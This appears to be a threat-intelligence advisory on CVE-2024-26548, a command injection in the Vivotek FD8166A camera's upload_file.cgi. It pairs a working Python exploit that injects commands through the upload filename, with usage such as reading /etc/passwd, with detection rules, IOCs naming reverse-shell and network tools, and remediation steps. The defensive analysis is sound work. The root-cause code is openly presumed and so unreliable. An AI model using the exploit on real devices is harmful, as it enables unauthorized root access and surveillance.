CVE-2024-26548

Executive Summary

CVE-2024-26548 is a critical unauthenticated remote code execution vulnerability in the Vivotek Network Camera model FD8166A running firmware version FD8166A-VVTK-0204j. The flaw resides in the upload_file.cgi component, which fails to properly sanitize user-supplied input, allowing an attacker to inject arbitrary operating system commands. With a CVSS score of 0.0 (placeholder), the actual severity is estimated to be critical (CVSS 9.8) due to network exploitability, no authentication required, and full system compromise. No official patch has been released, and the vendor has not acknowledged the issue publicly. Public proof-of-concept code exists, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. Supply chain risk is limited to the device itself and its firmware distribution channels.

CVSS Breakdown & Threat Level

While the NVD CVSS score is listed as 0.0, a realistic assessment based on the vulnerability characteristics yields:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – full file read possible.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – can disrupt device operation.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. Public exploit code exists, no patch available, and vulnerable devices are internet-facing.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the upload_file.cgi CGI script. The script accepts file uploads via HTTP POST requests but does not properly sanitize the filename or other parameters before passing them to a shell command (likely cp, mv, or a custom upload handler). An attacker can inject shell metacharacters (e.g., ;, |, `, $()) into the filename or a related parameter to execute arbitrary commands with the privileges of the web server (typically root on embedded devices).

Root Cause: The CGI script uses a function like system() or popen() to handle the uploaded file, concatenating user input directly into the command string without escaping.

Attack Vector: Remote, unauthenticated HTTP POST request to /cgi-bin/upload_file.cgi with a crafted payload in the filename field.

Impact: Full remote code execution as root, allowing the attacker to:

• Exfiltrate video feeds and stored recordings.
• Install persistent backdoors.
• Use the device as a pivot point in the network.
• Disable the camera or modify its configuration.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable pseudo-code
void handle_upload() {
    char cmd[1024];
    char *filename = get_param("filename");
    sprintf(cmd, "cp /tmp/upload %s", filename); // No sanitization
    system(cmd);
}

A patched version would sanitize the filename:

// Patched pseudo-code
void handle_upload() {
    char cmd[1024];
    char *filename = get_param("filename");
    // Remove shell metacharacters
    sanitize_filename(filename);
    sprintf(cmd, "cp /tmp/upload %s", filename);
    system(cmd);
}

Or better, avoid shell execution entirely:

// Ideal patched code
void handle_upload() {
    char *filename = get_param("filename");
    // Use safe file operations
    if (rename("/tmp/upload", filename) != 0) {
        // handle error
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: Vivotek FD8166A with firmware FD8166A-VVTK-0204j.
• Network access to the camera’s web interface (port 80 or 443).
• Python3 and requests library.

Exploit Code (Python):

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <target_ip> <command>")
    sys.exit(1)

target = sys.argv[1]
cmd = sys.argv[2]

url = f"http://{target}/cgi-bin/upload_file.cgi"
# Inject command via filename parameter
payload = f"test;{cmd};.txt"

files = {
    'file': (payload, b'ignored', 'text/plain')
}

try:
    r = requests.post(url, files=files, timeout=10)
    print(f"Response: {r.status_code}")
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Usage:

python3 exploit.py 192.168.1.100 "id"
python3 exploit.py 192.168.1.100 "cat /etc/passwd"

Lab Setup:

1. Use a vulnerable Vivotek camera in an isolated VLAN.
2. Alternatively, emulate the CGI binary using QEMU (if firmware is available).
3. Monitor with Wireshark to observe command injection.

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/upload_file.cgi with unusual filename parameters (containing ;, |, &, `).
2. Look for outbound connections from the camera to unknown IPs (C2).
3. Check for unexpected processes (e.g., bash, nc, python) running on the device.
4. Review logs for command execution errors (e.g., "sh: command not found").

Hunting Query (Splunk):

index=network sourcetype=http
| search uri="/cgi-bin/upload_file.cgi" AND method=POST
| rex field=form_data "filename=(?<filename>[^&]+)"
| where match(filename, "[;|&`$()]")
| table _time, src_ip, filename

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/upload_file.cgi with shell metacharacters in the filename.
  • Outbound connections from the camera to unusual IPs on ports 4444, 8080, etc.
  • DNS queries to known malicious domains.

• File IOCs:

  • Unexpected files in /tmp/ (e.g., /tmp/.backdoor).
  • Modified /etc/passwd or /etc/shadow.
  • New cron jobs in /var/spool/cron/.

• Process IOCs:

  • Running processes: bash, nc, python, perl, wget, curl.
  • Reverse shell processes (e.g., bash -i >& /dev/tcp/...).

• YARA Rule (for firmware analysis):

rule CVE_2024_26548_upload_file_cgi {
    meta:
        description = "Detects vulnerable upload_file.cgi binary"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "upload_file.cgi" ascii wide
        $s2 = "system(" ascii wide
        $s3 = "popen(" ascii wide
    condition:
        all of them
}

Detection Engineering

YARA Rule (for network traffic or file analysis)

rule CVE_2024_26548_exploit_attempt {
    meta:
        description = "Detects exploit attempts for CVE-2024-26548"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $http_post = "POST /cgi-bin/upload_file.cgi" ascii
        $shell_meta = /[;|&`$()]/ ascii
    condition:
        $http_post and $shell_meta
}

Sigma Rule

title: CVE-2024-26548 Vivotek Camera RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to upload_file.cgi with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/upload_file.cgi'
    filter:
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection and filter
falsepositives:
    - Legitimate file uploads with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26548 Vivotek Camera RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/upload_file.cgi"; http_uri; pcre:"/[;|&`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Vivotek FD8166A cameras on a separate VLAN with strict firewall rules blocking inbound internet access.
2. Disable CGI upload: If possible, remove or disable the upload_file.cgi script via device configuration.
3. Monitor logs: Enable detailed logging and alert on the Sigma/Suricata rules above.

Long-term Fix:

• Vendor patch: Contact Vivotek support and request a firmware update. As of now, no patch exists.
• Replace device: Consider replacing the camera with a model that receives security updates.
• Web Application Firewall (WAF): Deploy a WAF rule to block requests containing shell metacharacters in the filename parameter.

Workaround:

• If the camera supports custom ACLs, restrict access to the CGI endpoint to trusted IPs only.

Valters IT
DevSecOps & Cyber Threat Intelligence